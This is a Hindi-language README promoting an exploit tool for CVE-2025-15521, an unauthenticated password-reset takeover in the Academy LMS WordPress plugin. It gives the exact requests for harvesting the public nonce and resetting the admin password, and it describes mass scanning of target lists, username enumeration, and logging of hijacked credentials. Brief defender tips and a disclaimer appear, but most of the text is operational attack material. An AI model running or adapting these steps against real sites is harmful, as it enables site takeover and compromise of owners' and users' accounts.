
The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution वर्डप्रेस के लिए प्लगइन सभी संस्करणों में, 3.5.0 तक और इसमें शामिल, खाता अधिग्रहण के माध्यम से विशेषाधिकार वृद्धि के लिए असुरक्षित है।
Academy LMS – WordPress LMS Plugin for Complete eLearning Solution प्लगइन WordPress के लिए सभी संस्करणों में, 3.5.0 तक और इसमें शामिल, खाता अधिग्रहण के माध्यम से विशेषाधिकार वृद्धि की कमजोरी है।
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 @KNxploited को फ़ॉलो करें — CVE प्रकटीकरण और कार्यशील एक्सप्लॉइट, बिना देरी के।
CVE-2025-15521 — Academy LMS ≤ 3.5.0 में पासवर्ड रीसेट के माध्यम से अप्रमाणित खाता अधिग्रहण।
प्लगइन का रीसेट हैंडलर केवल सार्वजनिक रूप से उजागर नॉन्स (academy_nonce) का उपयोग करके अनुरोध को प्रमाणित करता है, जो कोर्स पृष्ठों में एम्बेड होता है। उपयोगकर्ता के ईमेल पर कोई टोकन नहीं भेजा जाता। कोई सत्र जाँच नहीं। कोई पहचान सत्यापन नहीं। कोई भी हमलावर जो किसी भी कोर्स पृष्ठ को पढ़ता है, उसे एक वैध नॉन्स मिल जाता है, फिर वह user_id प्रदान करके किसी भी खाते का पासवर्ड रीसेट कर सकता है — जिसमें user_id=1 (साइट व्यवस्थापक) भी शामिल है।
CVSS 3.1: 9.8 क्रिटिकल — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ HTML में शामिल है: "academy_nonce": "a1b2c3d4e5" ← सार्वजनिक, कोई प्रमाणीकरण नहीं
POST /academy-retrieve-password/?user_id=1
new_password=<anything>
confirm_new_password=<anything>
security=a1b2c3d4e5 ← नॉन्स स्वीकार किया गया
→ user_id=1 का पासवर्ड बदल दिया गया। कोई ईमेल नहीं। कोई पुष्टि नहीं।
हैंडलर केवल wp_verify_nonce() पर सत्यापन करने के बाद wp_set_password() को कॉल करता है, जो नॉन्स हर आगंतुक को प्रसारित किया जाता है। यह जाँच नहीं की जाती कि अनुरोध करने वाला उपयोगकर्ता उस खाते का मालिक है जिसे संशोधित किया जा रहा है।
academy_nonce निकालता हैuser_id के लिए चयनित पासवर्ड के साथ रीसेट हैंडलर को चलाता है/?author=N रीडायरेक्ट और REST API (/wp-json/wp/v2/users) के माध्यम से उपयोगकर्ता नामों की गणना करता हैwordpress_logged_in कुकी की आवश्यकता होती है/wp-admin में वास्तविक व्यवस्थापक UI मार्करों की आवश्यकता होती है — न कि केवल 200 प्रतिक्रियाpip install requests colorama urllib3
Python 3.8+ आवश्यक है। Python 3.10+ अनुशंसित है।
python CVE-2025-15521.py
आपसे निम्नलिखित पूछा जाएगा:
लक्ष्य सूची फ़ाइल (प्रति पंक्ति एक URL): list.txt
थ्रेड्स (समवर्ती साइटें) [5]: 10
रीसेट हैंडलर पथ [/academy-retrieve-password/]:
कोर्स रूट पथ (कुंजी स्रोत) [/course/]:
प्रति साइट स्कैन करने के लिए अधिकतम /course/ उपपृष्ठ [15]:
रीसेट करने के लिए user_id (हैंडलर लक्ष्य) [1]:
सेट करने के लिए नया पासवर्ड [adminSA]:
HTTP टाइमआउट (सेकंड) [10]:
आउटपुट फ़ाइल [scan_results/academy_access_success.txt]:
लक्ष्य फ़ाइल — प्रति पंक्ति एक URL, योजना वैकल्पिक:
https://target1.com
target2.com
https://target3.com/lms
टर्मिनल — प्रति लक्ष्य एक पंक्ति, कोई क्रेडेंशियल मुद्रित नहीं:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
फ़ाइल — केवल पुष्टि की गई पहुँच प्रविष्टियाँ:
[2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA
रक्षकों के लिए:
रीसेट एंडपॉइंट पर अप्रमाणित POST अनुरोधों को ब्लॉक या मॉनिटर करें:
POST *academy-retrieve-password* पैरामीटर के साथ: security=
अपने थीम के कोर्स पृष्ठ स्रोत में rm_admin_order / academy_nonce के प्रदर्शन की जाँच करें। यदि नॉन्स बिना लॉग इन किए दिखाई देता है, तो आपका संस्करण प्रभावित है।
तत्काल सुधार कदम:
यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान और पैठ परीक्षण के लिए है।
इसे केवल उन प्रणालियों पर चलाएँ जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
लेखक अनधिकृत या अवैध उपयोग के लिए कोई दायित्व स्वीकार नहीं करता।
अनधिकृत उपयोग CFAA, CMA, EU निर्देश 2013/40/EU, सऊदी साइबर अपराध कानून संख्या M/17, और दुनिया भर के समतुल्य कानूनों का उल्लंघन करता है।
Nxploited (Khaled Alenazi) द्वारा
t.me/KNxploited · github.com/Nxploited
🔔 नवीनतम CVE और एक्सप्लॉइट रिलीज़ के लिए @KNxploited को Telegram पर फ़ॉलो करें।